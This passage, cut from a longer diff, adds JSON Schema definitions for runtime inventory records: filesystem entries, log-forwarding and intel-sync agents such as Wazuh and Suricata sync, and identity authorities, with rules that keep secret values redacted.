User","type":"string"},"path":{"$ref":"#/$defs/_r176"},"presence":{"anyOf":[{"$ref":"#/$defs/RuntimeFilesystemPresence"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[pP][rR][eE][sS][eE][nN][tT]|[eE][xX][pP][eE][cC][tT][eE][dD][-_][aA][bB][sS][eE][nN][tT]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"present","title":"Presence"},"provenance":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Provenance","type":"string"},"sensitivity":{"$ref":"#/$defs/_r19"},"size":{"$ref":"#/$defs/_r38"},"source_path":{"$ref":"#/$defs/_r73"},"stability":{"$ref":"#/$defs/_r11"},"uid":{"$ref":"#/$defs/_r41"}},"required":["path"],"then":{"properties":{"content_digest":{"enum":["",null]},"digest_algorithm":{"enum":["",null]},"gid":{"enum":["",null]},"mode":{"enum":["",null]},"owner_group":{"enum":["",null]},"owner_user":{"enum":["",null]},"size":{"enum":["",null]},"uid":{"enum":["",null]}}},"title":"RuntimeFilesystemEntry","type":"object"}, + "RuntimeFilesystemEntryType": {"description":"Observed type of a runtime filesystem inventory entry.","enum":["file","directory","symlink","device","socket","fifo","other","unknown"],"title":"RuntimeFilesystemEntryType","type":"string"}, + "RuntimeFilesystemPresence": {"description":"Observed presence state for a runtime filesystem inventory entry.\n\n``present`` is the default and preserves prior behavior. ``expected_absent``\nrecords an authored or expected path that was not observed at capture time \u2014\nfor example a deploy-key path attempted by setup code but missing in the\ncaptured steady state. Absent entries retain their expected ``entry_type``\ninstead of collapsing to ``other``; present-only facts (size, content\ndigest, owner ids, mode) must be omitted, per ADR-037.","enum":["present","expected_absent","unknown","other"],"title":"RuntimeFilesystemPresence","type":"string"}, + "RuntimeFilesystemStability": {"description":"Stability class for an observed runtime filesystem or mount fact.","enum":["stable","generated","log","cache","runtime_created","volume_backed","transient","unknown","other"],"title":"RuntimeFilesystemStability","type":"string"}, + "RuntimeForwardingAgent": {"additionalProperties":false,"description":"Node-scoped runtime inventory for a forwarding / intel-sync agent.\n\nThe single forwarder spine permits partial descriptions and composed pipelines.\nCadence composes a ``runtime.scheduled_jobs`` entry; the inter-node trust\nedge composes a ``RelationshipForwardingEdge`` \u2014 neither is re-typed here.","properties":{"agent_kind":{"anyOf":[{"$ref":"#/$defs/RuntimeForwardingAgentKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[lL][oO][gG][-_][fF][oO][rR][wW][aA][rR][dD][eE][rR]|[cC][oO][nN][tT][eE][nN][tT][-_][sS][yY][nN][cC]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Agent Kind"},"buffer_policy":{"anyOf":[{"$ref":"#/$defs/RuntimeForwardingBufferPolicy"},{"type":"null"}],"default":null},"description":{"$ref":"#/$defs/_r53"},"forwarding_agent_id":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Forwarding Agent Id","type":"string"},"implementation":{"anyOf":[{"$ref":"#/$defs/RuntimeForwardingAgentImplementation"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[fF][iI][lL][eE][bB][eE][aA][tT]|[wW][aA][zZ][uU][hH][-_][aA][gG][eE][nN][tT]|[fF][lL][uU][eE][nN][tT][-_][bB][iI][tT]|[fF][lL][uU][eE][nN][tT][dD]|[lL][oO][gG][sS][tT][aA][sS][hH]|[vV][eE][cC][tT][oO][rR]|[rR][sS][yY][sS][lL][oO][gG]|[nN][xX][lL][oO][gG]|[oO][tT][eE][lL][-_][cC][oO][lL][lL][eE][cC][tT][oO][rR]|[mM][iI][sS][pP][-_][sS][uU][rR][iI][cC][aA][tT][aA][-_][sS][yY][nN][cC]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Implementation"},"name":{"$ref":"#/$defs/_r64"},"ownership_role":{"anyOf":[{"$ref":"#/$defs/RuntimeForwardingAgentOwnershipRole"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[sS][yY][sS][tT][eE][mM][-_][uU][nN][dD][eE][rR][-_][tT][eE][sS][tT]|[mM][eE][aA][sS][uU][rR][eE][mM][eE][nN][tT][-_][aA][pP][pP][aA][rR][aA][tT][uU][sS]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"system_under_test","title":"Ownership Role"},"reload_channels":{"items":{"$ref":"#/$defs/RuntimeForwardingReloadChannel"},"title":"Reload Channels","type":"array"},"settings":{"items":{"$ref":"#/$defs/RuntimeForwardingSetting"},"title":"Settings","type":"array"},"ship_targets":{"items":{"$ref":"#/$defs/RuntimeForwardingShipTarget"},"title":"Ship Targets","type":"array"},"sources":{"items":{"$ref":"#/$defs/RuntimeForwardingSource"},"title":"Sources","type":"array"},"transforms":{"items":{"$ref":"#/$defs/RuntimeForwardingTransform"},"title":"Transforms","type":"array"},"version":{"$ref":"#/$defs/_r81"}},"required":["forwarding_agent_id"],"title":"RuntimeForwardingAgent","type":"object"}, + "RuntimeForwardingAgentImplementation": {"description":"Observed product family for a forwarding / intel-sync agent (OPEN).","enum":["filebeat","wazuh_agent","fluent_bit","fluentd","logstash","vector","rsyslog","nxlog","otel_collector","misp_suricata_sync","unknown","other"],"title":"RuntimeForwardingAgentImplementation","type":"string"}, + "RuntimeForwardingAgentKind": {"description":"Portable forwarding-agent role discriminator (OPEN per the verdict).","enum":["log_forwarder","content_sync","unknown","other"],"title":"RuntimeForwardingAgentKind","type":"string"}, + "RuntimeForwardingAgentOwnershipRole": {"description":"Closed ownership of an agent relative to the system under test.","enum":["system_under_test","measurement_apparatus"],"title":"RuntimeForwardingAgentOwnershipRole","type":"string"}, + "RuntimeForwardingBufferCrypto": {"description":"Portable at-rest / in-transit crypto of a buffer policy (OPEN).","enum":["none","aes","tls","unknown","other"],"title":"RuntimeForwardingBufferCrypto","type":"string"}, + "RuntimeForwardingBufferPolicy": {"additionalProperties":false,"description":"The single observed buffer / back-pressure posture of a forwarder.\n\nCaptures the ``client_buffer`` shape: queue capacity, events-per-second\nceiling, at-rest/in-transit crypto, and reconnect interval. Its presence is\nthe defining profile a ``log_forwarder`` must carry.","properties":{"buffer_policy_id":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Buffer Policy Id","type":"string"},"crypto":{"anyOf":[{"$ref":"#/$defs/RuntimeForwardingBufferCrypto"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[nN][oO][nN][eE]|[aA][eE][sS]|[tT][lL][sS]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Crypto"},"description":{"$ref":"#/$defs/_r53"},"eps":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Eps"},"queue_capacity":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Queue Capacity"},"reconnect_seconds":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Reconnect Seconds"}},"required":["buffer_policy_id"],"title":"RuntimeForwardingBufferPolicy","type":"object"}, + "RuntimeForwardingEnrollmentClassification": {"description":"Redaction class for a ship-target enrollment identity (CLOSED).\n\nA fixed structural lattice \u2014 an enrollment credential is either absent\n(``none``) or present-but-not-recorded (``redacted`` / ``operator_secret``).\nRaw enrollment-key material is never carried; per the enum-sentinel\ndiscipline this closed set carries no ``unknown`` / ``other`` tail.","enum":["none","redacted","operator_secret"],"title":"RuntimeForwardingEnrollmentClassification","type":"string"}, + "RuntimeForwardingParseFormat": {"description":"Portable on-the-wire / on-disk parse format of a source (OPEN).","enum":["json","syslog","eve_json","cef","leef","csv","text","stix","misp_json","unknown","other"],"title":"RuntimeForwardingParseFormat","type":"string"}, + "RuntimeForwardingProtocol": {"description":"Portable wire protocol of a ship target (OPEN).","enum":["syslog","syslog_tls","syslog_tcp","beats","http","https","tcp","udp","kafka","unknown","other"],"title":"RuntimeForwardingProtocol","type":"string"}, + "RuntimeForwardingReloadChannel": {"additionalProperties":false,"description":"An observed downstream reload channel a content-sync agent drives.\n\nReferences the downstream consumer's control channel (e.g. the Suricata\nrule-reload socket) rather than inventing a parallel socket model; the\ninter-node trust edge is carried by ``RelationshipForwardingEdge``.","properties":{"description":{"$ref":"#/$defs/_r53"},"kind":{"anyOf":[{"$ref":"#/$defs/RuntimeForwardingReloadChannelKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[uU][nN][iI][xX][-_][sS][oO][cC][kK][eE][tT]|[sS][iI][gG][nN][aA][lL]|[hH][tT][tT][pP][-_][aA][pP][iI]|[cC][lL][iI]|[fF][iI][lL][eE][-_][dD][rR][oO][pP]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Kind"},"reload_channel_id":{"$ref":"#/$defs/_r3"},"target_ref":{"$ref":"#/$defs/_r76"}},"required":["reload_channel_id"],"title":"RuntimeForwardingReloadChannel","type":"object"}, + "RuntimeForwardingReloadChannelKind": {"description":"Portable control / reload channel family for a downstream consumer (OPEN).","enum":["unix_socket","signal","http_api","cli","file_drop","unknown","other"],"title":"RuntimeForwardingReloadChannelKind","type":"string"}, + "RuntimeForwardingSetting": {"additionalProperties":false,"description":"An observed forwarding-agent runtime setting with provenance and class.\n\nExplicit ``redacted`` / ``operator_secret`` classifications omit raw values;\ncredential-shaped names remain scenario content unless the author marks the\nvalue withheld.","if":{"properties":{"classification":{"anyOf":[{"pattern":"^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$","type":"string"},{"pattern":"^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$","type":"string"}]}},"required":["classification"]},"properties":{"classification":{"anyOf":[{"$ref":"#/$defs/RuntimeForwardingSettingClassification"},{"$ref":"#/$defs/_r159"}],"default":"plain","title":"Classification"},"description":{"$ref":"#/$defs/_r53"},"name":{"$ref":"#/$defs/_r64"},"provenance":{"anyOf":[{"$ref":"#/$defs/RuntimeForwardingSettingProvenance"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[cC][oO][nN][fF][iI][gG][uU][rR][aA][tT][iI][oO][nN][-_][fF][iI][lL][eE]|[eE][nN][vV][iI][rR][oO][nN][mM][eE][nN][tT]|[cC][oO][mM][mM][aA][nN][dD][-_][lL][iI][nN][eE]|[dD][eE][fF][aA][uU][lL][tT]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Provenance"},"setting_id":{"$ref":"#/$defs/_r3"},"value":{"$ref":"#/$defs/_r80"}},"required":["setting_id"],"then":{"not":{"properties":{"value":{"minLength":1,"type":"string"}},"required":["value"]}},"title":"RuntimeForwardingSetting","type":"object"}, + "RuntimeForwardingSettingClassification": {"description":"Redaction class for an observed forwarding setting value (CLOSED).\n\nThe fixed structural redaction lattice for a setting: a plain value, a\npresent-but-not-recorded secret, or an operator-only secret. Carries no\nopen tail by the enum-sentinel discipline.","enum":["plain","redacted","operator_secret"],"title":"RuntimeForwardingSettingClassification","type":"string"}, + "RuntimeForwardingSettingProvenance": {"description":"Portable provenance of an observed forwarding setting (OPEN).","enum":["configuration_file","environment","command_line","default","unknown","other"],"title":"RuntimeForwardingSettingProvenance","type":"string"}, + "RuntimeForwardingShipTarget": {"additionalProperties":false,"description":"An observed downstream ship target (event ingest and/or enrollment).\n\n``ingestion_port`` is the event-ingest endpoint (e.g. ``wazuh.manager:1514``);\n``enrollment_port`` is the enrollment endpoint (e.g. ``:1515``). The\nenrollment identity itself is never recorded \u2014 only the closed\n``enrollment_identity_classification`` lattice (``none`` / ``redacted`` /\n``operator_secret``).","properties":{"description":{"$ref":"#/$defs/_r53"},"enrollment_identity_classification":{"$ref":"#/$defs/_r12"},"enrollment_port":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Enrollment Port"},"ingestion_port":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Ingestion Port"},"protocol":{"anyOf":[{"$ref":"#/$defs/RuntimeForwardingProtocol"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[sS][yY][sS][lL][oO][gG]|[sS][yY][sS][lL][oO][gG][-_][tT][lL][sS]|[sS][yY][sS][lL][oO][gG][-_][tT][cC][pP]|[bB][eE][aA][tT][sS]|[hH][tT][tT][pP]|[hH][tT][tT][pP][sS]|[tT][cC][pP]|[uU][dD][pP]|[kK][aA][fF][kK][aA]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Protocol"},"target_id":{"$ref":"#/$defs/_r3"},"target_node_ref":{"$ref":"#/$defs/_r75"},"target_service_ref":{"$ref":"#/$defs/_r77"}},"required":["target_id"],"title":"RuntimeForwardingShipTarget","type":"object"}, + "RuntimeForwardingSource": {"additionalProperties":false,"description":"An observed forwarder input source (tailed path, API pull, or queue).","properties":{"description":{"$ref":"#/$defs/_r53"},"kind":{"anyOf":[{"$ref":"#/$defs/RuntimeForwardingSourceKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[tT][aA][iI][lL][eE][dD][-_][pP][aA][tT][hH]|[aA][pP][iI][-_][pP][uU][lL][lL]|[qQ][uU][eE][uU][eE]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Kind"},"location":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Location","type":"string"},"parse_format":{"$ref":"#/$defs/_r13"},"selector":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Selector","type":"string"},"source_id":{"$ref":"#/$defs/_r3"}},"required":["source_id"],"title":"RuntimeForwardingSource","type":"object"}, + "RuntimeForwardingSourceKind": {"description":"Portable provenance family for a forwarder input source (OPEN).","enum":["tailed_path","api_pull","queue","unknown","other"],"title":"RuntimeForwardingSourceKind","type":"string"}, + "RuntimeForwardingTransform": {"additionalProperties":false,"description":"An observed transform applied between a source and a ship target.","properties":{"description":{"$ref":"#/$defs/_r53"},"kind":{"anyOf":[{"$ref":"#/$defs/RuntimeForwardingTransformKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[pP][aA][sS][sS][tT][hH][rR][oO][uU][gG][hH]|[pP][aA][rR][sS][eE]|[iI][oO][cC][-_][tT][oO][-_][rR][uU][lL][eE]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Kind"},"sid_namespace":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Sid Namespace","type":"string"},"transform_id":{"$ref":"#/$defs/_r3"}},"required":["transform_id"],"title":"RuntimeForwardingTransform","type":"object"}, + "RuntimeForwardingTransformKind": {"description":"Portable transform family applied between source and ship target (OPEN).","enum":["passthrough","parse","ioc_to_rule","unknown","other"],"title":"RuntimeForwardingTransformKind","type":"string"}, + "RuntimeIdentityAttribute": {"additionalProperties":false,"description":"Observed identity attribute or bounded setting.\n\nSecret-bearing names must not carry raw values. This keeps directory\npasswords, Kerberos keys, keytabs, tokens, and client secrets out of\nfixtures, diagnostics, schemas, and generated runtime artifacts.","if":{"properties":{"value_classification":{"anyOf":[{"pattern":"^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$","type":"string"},{"pattern":"^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$","type":"string"}]}},"required":["value_classification"]},"properties":{"description":{"$ref":"#/$defs/_r53"},"name":{"$ref":"#/$defs/_r174"},"origin":{"$ref":"#/$defs/_r15"},"provenance":{"anyOf":[{"$ref":"#/$defs/RuntimeIdentityRecordOrigin"},{"$ref":"#/$defs/_r150"}],"default":"unknown","title":"Provenance"},"value_classification":{"$ref":"#/$defs/_r20"},"values":{"items":{"$ref":"#/$defs/_r185"},"title":"Values","type":"array"}},"required":["name"],"then":{"not":{"properties":{"values":{"minItems":1,"type":"array"}},"required":["values"]}},"title":"RuntimeIdentityAttribute","type":"object"}, + "RuntimeIdentityAuthority": {"additionalProperties":false,"description":"A node-scoped identity authority inventory.","properties":{"base_dn":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Base Dn","type":"string"},"description":{"$ref":"#/$defs/_r53"},"domain_name":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Domain Name","type":"string"},"identity_authority_id":{"$ref":"#/$defs/_r3"},"issuer":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Issuer","type":"string"},"kind":{"anyOf":[{"$ref":"#/$defs/RuntimeIdentityAuthorityKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[dD][iI][rR][eE][cC][tT][oO][rR][yY]|[dD][oO][mM][aA][iI][nN]|[kK][eE][rR][bB][eE][rR][oO][sS][-_][rR][eE][aA][lL][mM]|[iI][dD][eE][nN][tT][iI][tT][yY][-_][pP][rR][oO][vV][iI][dD][eE][rR]|[cC][lL][oO][uU][dD][-_][iI][aA][mM]|[aA][uU][tT][hH][oO][rR][iI][zZ][aA][tT][iI][oO][nN][-_][sS][yY][sS][tT][eE][mM]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"other","title":"Kind"},"name":{"$ref":"#/$defs/_r64"},"namespace":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Namespace","type":"string"},"policies":{"items":{"$ref":"#/$defs/RuntimeIdentityPolicy"},"title":"Policies","type":"array"},"realm":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Realm","type":"string"},"relationships":{"items":{"$ref":"#/$defs/RuntimeIdentityRelationship"},"title":"Relationships","type":"array"},"services":{"items":{"$ref":"#/$defs/RuntimeIdentityAuthorityService"},"title":"Services","type":"array"},"subjects":{"items":{"$ref":"#/$defs/RuntimeIdentitySubject"},"title":"Subjects","type":"array"},"tenant_id":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Tenant Id","type":"string"}},"required":["identity_authority_id"],"title":"RuntimeIdentityAuthority","type":"object"}, + "RuntimeIdentityAuthorityKind": {"description":"Portable kind of identity authority represented by the inventory.","enum":["directory","domain","kerberos_realm","identity_provider","cloud_iam","authorization_system","other","unknown"],"title":"RuntimeIdentityAuthorityKind","type":"string"}, + "RuntimeIdentityAuthorityProtocol": {"description":"Protocol or API family exposed by an identity authority service.","enum":["ldap","ldaps","kerberos","saml","oidc","oauth2","scim","ad_ds_rpc","graph_api","other","unknown"],"title":"RuntimeIdentityAuthorityProtocol","type":"string"}, + "RuntimeIdentityAuthorityService": {"additionalProperties":false,"description":"A protocol/API endpoint associated with an identity authority.","properties":{"address":{"$ref":"#/$defs/_r47"},"description":{"$ref":"#/$defs/_r53"},"port":{"$ref":"#/$defs/_r37"},"protocol":{"anyOf":[{"$ref":"#/$defs/RuntimeIdentityAuthorityProtocol"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[lL][dD][aA][pP]|[lL][dD][aA][pP][sS]|[kK][eE][rR][bB][eE][rR][oO][sS]|[sS][aA][mM][lL]|[oO][iI][dD][cC]|[oO][aA][uU][tT][hH]2|[sS][cC][iI][mM]|[aA][dD][-_][dD][sS][-_][rR][pP][cC]|[gG][rR][aA][pP][hH][-_][aA][pP][iI]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"other","title":"Protocol"},"service":{"$ref":"#/$defs/_r70"},"service_id":{"$ref":"#/$defs/_r3"}},"required":["service_id"],"title":"RuntimeIdentityAuthorityService","type":"object"}, + "RuntimeIdentityPolicy": {"additionalProperties":false,"description":"Observed identity authority policy or bounded policy setting group.","properties":{"applies_to_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Applies To Refs","type":"array"},"description":{"$ref":"#/$defs/_r53"},"name":{"$ref":"#/$defs/_r64"},"policy_id":{"$ref":"#/$defs/_r3"},"policy_kind":{"anyOf":[{"$ref":"#/$defs/RuntimeIdentityPolicyKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[pP][aA][sS][sS][wW][oO][rR][dD]|[lL][oO][cC][kK][oO][uU][tT]|[kK][eE][rR][bB][eE][rR][oO][sS]|[aA][cC][cC][eE][sS][sS]|[cC][oO][nN][dD][iI][tT][iI][oO][nN][aA][lL][-_][aA][cC][cC][eE][sS][sS]|[mM][fF][aA]|[gG][rR][oO][uU][pP][-_][pP][oO][lL][iI][cC][yY]|[tT][rR][uU][sS][tT]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"other","title":"Policy Kind"},"settings":{"items":{"$ref":"#/$defs/RuntimeIdentityAttribute"},"title":"Settings","type":"array"}},"required":["policy_id"],"title":"RuntimeIdentityPolicy","type":"object"}, + "RuntimeIdentityPolicyKind": {"description":"Portable policy family attached to an identity authority.","enum":["password","lockout","kerberos","access","conditional_access","mfa","group_policy","trust","other","unknown"],"title":"RuntimeIdentityPolicyKind","type":"string"}, + "RuntimeIdentityProvenance": {"description":"Origin class for an observed local identity record.","enum":["image","package","runtime_created","operator","unknown","other"],"title":"RuntimeIdentityProvenance","type":"string"}, + "RuntimeIdentityRecordOrigin": {"description":"Origin class for an observed identity authority record.","enum":["built_in","directory","synchronized","federated","provisioned","runtime_created","operator","unknown","other"],"title":"RuntimeIdentityRecordOrigin","type":"string"}, + "RuntimeIdentityRelationship": {"additionalProperties":false,"description":"Observed membership, trust, federation, or delegation relationship.","properties":{"description":{"$ref":"#/$defs/_r53"},"external_target":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"External Target","type":"string"},"relationship_id":{"$ref":"#/$defs/_r3"},"relationship_type":{"anyOf":[{"$ref":"#/$defs/RuntimeIdentityRelationshipKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[mM][eE][mM][bB][eE][rR][-_][oO][fF]|[hH][aA][sS][-_][mM][eE][mM][bB][eE][rR]|[tT][rR][uU][sS][tT][sS]|[fF][eE][dD][eE][rR][aA][tT][eE][sS][-_][wW][iI][tT][hH]|[mM][aA][nN][aA][gG][eE][sS]|[oO][wW][nN][sS]|[dD][eE][lL][eE][gG][aA][tT][eE][dD][-_][aA][dD][mM][iI][nN]|[sS][yY][nN][cC][sS][-_][fF][rR][oO][mM]|[aA][sS][sS][oO][cC][iI][aA][tT][eE][dD]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"other","title":"Relationship Type"},"source_ref":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Source Ref","type":"string"},"target_ref":{"$ref":"#/$defs/_r76"}},"required":["relationship_id","source_ref"],"title":"RuntimeIdentityRelationship","type":"object"}, + "RuntimeIdentityRelationshipKind": {"description":"Portable relationship kind between authority-local identity objects.","enum":["member_of","has_member","trusts","federates_with","manages","owns","delegated_admin","syncs_from","associated","other","unknown"],"title":"RuntimeIdentityRelationshipKind","type":"string"}, + "RuntimeIdentitySubject": {"additionalProperties":false,"description":"An authority-local user, group, device, role, or service 